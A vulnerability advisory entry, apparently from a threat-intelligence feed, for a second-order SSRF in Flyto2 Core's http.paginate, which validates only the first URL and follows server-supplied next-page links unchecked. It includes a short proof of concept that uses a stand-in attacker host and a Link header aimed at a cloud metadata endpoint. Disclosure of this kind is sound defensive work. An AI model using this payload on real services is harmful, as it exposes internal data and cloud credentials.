CVE-2026-77315
## Summary `http.paginate` validates only the initial `base_url`, then follows server-supplied pagination targets (RFC 5988 `Link: rel="next"` headers, cursor/offset URLs) in a loop **without revalidating each follow-up URL**. An attacker's first-page response can point `next` at an internal address, causing a second-order SSRF whose internal body is aggregated into the returned items. ## Root Cause `src/core/modules/atomic/http/paginate.py:495` validates `base_url` (first URL only). The pagination loop `_paginate_link_header` reads `next_url` via `_parse_link_header` (:203), sets `url=next_url` (:208), and calls `session.request(method, url)` (:196) with NO validate call in the loop (:186-208 has zero guard calls). ## Impact Readable second-order SSRF that bypasses the SSRF control; internal/metadata body aggregated into `all_items` and returned to the caller (C:H, S:C). ## Proof of Concept Verified live: `http.paginate` with allowlisted base `127.0.0.1` followed a `Link: <http://127.0.0.3/...>; rel="next"` (non-allowlisted) and returned `INTERNAL-NEXTPAGE-SECRET` in the aggregated items. ``` execute_module http.paginate {"url":"http://attacker.tld/p1","strategy":"link_header"} attacker p1 response header: Link: <http://<cloud-metadata-ip>/latest/meta-data/>; rel="next" ``` ## Attack Chain 1. Entry: `http.paginate {url:"http://attacker.tld/p1", strategy:"link_header"}`. Guard: `validate_url_with_env_config(base_url)` (paginate.py:495) — validates the FIRST url only. 2. Sink: `_paginate_link_header` reads `next_url` (`_parse_link_header` :203), `url=next_url` (:208), `session.request(method,url)` (:196) — NO validate call in the loop. Bypass proof: only :495 validates; loop at :186-208 has zero guard calls. 3. Impact: internal body aggregated into `all_items` and returned → readable second-order SSRF. ## Bypass Evidence Live PoC followed a `Link` header into non-allowlisted loopback and returned the internal marker in aggregated results. Only `base_url` is vali
Properties
- Severity
- high
- Summary
- Flyto2 Core: http.paginate follows server-supplied next-page URLs (Link header / cursor) without SSRF revalidation
- Nvd fetched at
- 2026-11-22T12:30:49.958423+00:00
- Epss score
- 0.00375
- Cvss severity
- HIGH
- Cvss score
- 8.5
- Retrieved at
- 2026-11-22T12:32:28+00:00
- Ghsa published
- 2026-11-20T00:10:14Z
- Source url
- https://github.com/advisories/GHSA-2mr3-rxrq-238c
- Ghsa updated
- 2026-11-20T00:10:15Z
- Ghsa id
- GHSA-2mr3-rxrq-238c
- Last source
- FIRST EPSS
- Score
- 8.5
- Cvss version
- 3.1
- Cve id
- CVE-2026-77315
- Cvss vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
- First seen by Signal
- 2026-11-19T23:31:53+00:00
- Name
- CVE-2026-77315
- Is ghsa only
- false
- Vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Related Entities (3)
AFFECTS (1)
HAS_WEAKNESS (1)
VULNERABLE_TO (1)
Related research
Explore deeper with Ninja Signal's threat intelligence graph